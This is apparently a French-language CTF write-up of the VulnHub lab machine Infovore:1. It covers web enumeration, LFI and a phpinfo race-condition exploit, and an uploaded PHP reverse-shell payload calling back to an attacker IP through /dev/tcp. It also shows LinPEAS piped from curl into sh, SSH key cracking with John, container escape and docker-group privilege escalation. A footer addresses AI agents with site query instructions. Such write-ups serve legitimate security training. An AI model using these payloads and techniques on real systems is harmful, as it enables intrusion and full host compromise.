> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).

# Infovore : 1 Compte rendu VulnHub

{% embed url="<https://www.vulnhub.com/entry/infovore-1,496/>" %}

{% hint style="warning" %}
Compétences :

* Énumération Web
* LFI (inclusion locale de fichiers)
* Exploitation de file/\_uploads visible dans info.php (LFI2RCE via phpinfo() + condition de course)
* Énumération du système (LinPEAS)
* Cassage d'une clé SSH privée protégée
* Exploitation de la confiance entre paires de clés SSH pour sortir du conteneur
* Exploitation du groupe docker (élévation de privilèges)
  {% endhint %}

## Reconnaissance

#### **Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/5d574429d1ebe9ca4585416168bb87e6c99faab4" alt=""><figcaption></figcaption></figure>

#### **Découverte de l'adresse IP avec arp-scan :**

Utilisation de la commande arp-scan pour détecter l'adresse IP de la machine :

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/f21e735e16084faee8113b922f4c0dc1ca62ec60" alt=""><figcaption></figcaption></figure>

#### **Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```

<figure><img src="/files/b08795e6fe65f1537e3e2b3f545c8da5518f0612" alt=""><figcaption></figcaption></figure>

#### **Analyse des versions des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
 nmap -sCV -p80 192.168.71.146 -oN targeted
```

<figure><img src="/files/e91653371501274c2d672984aa2b0a0c54862ba3" alt=""><figcaption></figcaption></figure>

#### Analyse du serveur avec Wappalyzer :

Utilisation de Wappalyzer pour déterminer que le serveur utilise Apache et le langage de programmation PHP.

<figure><img src="/files/1f82dd903e103f3c82db1efac28c4375109e2a3d" alt=""><figcaption></figcaption></figure>

#### **Identifier la version cible avec WhatWeb**

Utilisation de WhatWeb pour analyser le site web et identifier la version de la machine (Ubuntu) et d'Apache :

```bash
whatweb http://192.168.71.146
```

<figure><img src="/files/ac0dd02e02429c00a7322114f49601b44b7b8cd8" alt=""><figcaption></figcaption></figure>

## Reconnaissance de `info.php`

**Recherche de répertoires avec Gobuster :**

Utilisez **Gobuster** avec un dictionnaire pour trouver des fichiers d'accès cachés.

```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```

<figure><img src="/files/e812b1321647b5d14d33176bb670ff61a618e777" alt=""><figcaption></figcaption></figure>

Un fichier nommé **info.php** a été localisé, et il contient toute la configuration PHP du serveur.

<figure><img src="/files/9dc8e880773a25f29b58e49fd500524c8dae2991" alt=""><figcaption></figcaption></figure>

On peut observer qu'aucune fonction n'est désactivée.

<figure><img src="/files/a5307ea28602485e7c287b2fa8f8981f9a311726" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichier :

Après avoir localisé le `info.php` fichier, explorer la possibilité de téléverser des fichiers sur le serveur.

<figure><img src="/files/83d0e7f0ee729057c0a62852426b0a5214b4c53e" alt=""><figcaption></figcaption></figure>

**Intercepter avec Burp Suite :**

Utilisez Burp Suite pour intercepter la requête. Modifiez la méthode de "GET" à "POST".<br>

<figure><img src="/files/fa0775f22cec1b55b0dcb6543c8f8795fdabe670" alt=""><figcaption></figcaption></figure>

#### Requête pour importer un fichier texte sur le serveur :

Utilisez la requête Burp Suite ci-dessous pour téléverser un fichier nommé `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain

Ceci est un test
----pwned
```

<figure><img src="/files/c37d40d59579c416859342f7f46fb9774afe73f6" alt=""><figcaption></figcaption></figure>

**Injection de code PHP :**

Essayez d'injecter du code PHP en utilisant la même structure Burp Suite. Modifiez le contenu du fichier à injecter.

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```

#### Confirmation de l'injection :

Vérifiez si l'injection a réussi en confirmant la présence du fichier "cmd.php" sur le serveur.

<figure><img src="/files/5aaa7ee190264236ba722e7dc78dc591b9111417" alt=""><figcaption></figcaption></figure>

#### Recherche LFI

Pour trouver une vulnérabilité LFI, nous utilisons l'outil wfuz pour identifier un éventuel paramètre redirigeant vers un fichier PHP. La commande est la suivante :

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```

<figure><img src="/files/e91dd2d905672947c3aa65df1a41debfca79c6d5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2363a9aa2b7048ed6a6545dc806d54e8e5908489" alt=""><figcaption></figcaption></figure>

#### Difficulté liée au changement constant de fichier :

Malheureusement, nous ne pouvons pas lister le contenu du fichier cmd.php en raison du changement constant du dossier temporaire :

<figure><img src="/files/259e5e081942c792817c5951c40bb6ab92da64e5" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de condition de course :

Utilisez un [script automatisé](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) pour exploiter la condition de course dans le processus.

#### Adaptation du script

Nous adaptons le script à notre situation particulière.

<figure><img src="/files/bcb3a424ee4c0df47dad70218f353f5420f5d412" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1510bce55623f4f3a9b4df765a915d9dc94448be" alt=""><figcaption></figcaption></figure>

#### Accès réussi à la machine :

Nous parvenons à obtenir l'accès à la machine en exploitant la condition de course.

<figure><img src="/files/24ad77a63a65bc60593c7c9c4b5be2d0ace3a345" alt=""><figcaption></figcaption></figure>

#### Stabilisation du terminal pour l'élévation de privilèges :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Élévation de privilèges :

Nous observons que nous sommes dans un conteneur et utilisons la commande pour trouver l'adresse du véritable conteneur (192.168.150.1). Ensuite, nous vérifions si le port 22 est ouvert sur cette machine.

<figure><img src="/files/f54865f08fa46d9d0ba1f169e73b5b95643aa2a7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1ebd82a487da10f2298c0fff9d29d18c0b574d2b" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/d6ba9ac79f72c4f7c1d4b3285700014411b6d33a" alt=""><figcaption></figcaption></figure>

### **Énumération du système (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Nous utilisons LinPEAS pour l'énumération des privilèges :

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/db8ecae38d10704800246596f154a898127f879f" alt=""><figcaption></figcaption></figure>

#### Nous trouvons un dossier tgz inattendu dans le répertoire racine.

<figure><img src="/files/dca88fa15129bab1223cf8b966b40a94fec87013" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### /*/* Cassage de clé SSH privée protégée :/*/*

#### Identification de la clé SSH privée

Nous identifions une paire de clés SSH OpenSSH publique et privée.

<figure><img src="/files/1d9c998a16b8931d921c719970b2478ffa5fb5b4" alt=""><figcaption></figcaption></figure>

#### Craquage de la clé privée :

* Nous observons que la clé privée est chiffrée

<figure><img src="/files/a925e681e4b1d83ade6f7ab23ac4b446640c675f" alt=""><figcaption></figcaption></figure>

* Nous utilisons **ssh2john.py** pour convertir le contenu du fichier en un hachage :

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/277350ebfcf1b5063ceb02c45950093da9710985" alt=""><figcaption></figcaption></figure>

* Ensuite, nous utilisons John the Ripper pour casser le hash avec une liste de mots de passe.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/6de2351c847c57d5168152e2fd0e1df4cc570056" alt=""><figcaption></figcaption></figure>

#### Accès en tant que root :

Nous obtenons l'accès à la machine en tant que root.

<figure><img src="/files/60a15341f0645673bff8da25078ab0a013a33d92" alt=""><figcaption></figcaption></figure>

### **Exploitation de la confiance des paires de clés SSH pour sortir du conteneur :**

Nous essayons de migrer vers une autre machine en utilisant la configuration known/ hosts dans le répertoire ssh du conteneur, ce qui nous permet de nous connecter à l'utilisateur admin sur la machine hôte.

<figure><img src="/files/435a7eef1a674d517bd4665a7f11ac4c32890907" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2d5ee1617fff50c32558d0872912eab8fa271ede" alt=""><figcaption></figcaption></figure>

### **Abus du groupe Docker (élévation de privilèges) :**

#### [docker](/fr/privesc/user-groups/docker-group-linux-privilege-escalation.md) Appartenance au groupe :

Nous observons que nous faisons partie du groupe docker.

<figure><img src="/files/e8708fe1e0ef247ceecb4a231f06ac79b3068bec" alt=""><figcaption></figcaption></figure>

#### Utilisation du groupe docker pour contourner les privilèges :

Nous exploitons notre appartenance au groupe docker pour monter les privilèges de la vraie machine dans un conteneur administrateur :

```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```

<figure><img src="/files/e44278e0f4f0dd64128fa2aac55683c14f458989" alt=""><figcaption></figcaption></figure>

Compromis :)

<figure><img src="/files/4c1c7759c567ae5fd8f3de2e98fa25e1c8f0a693" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
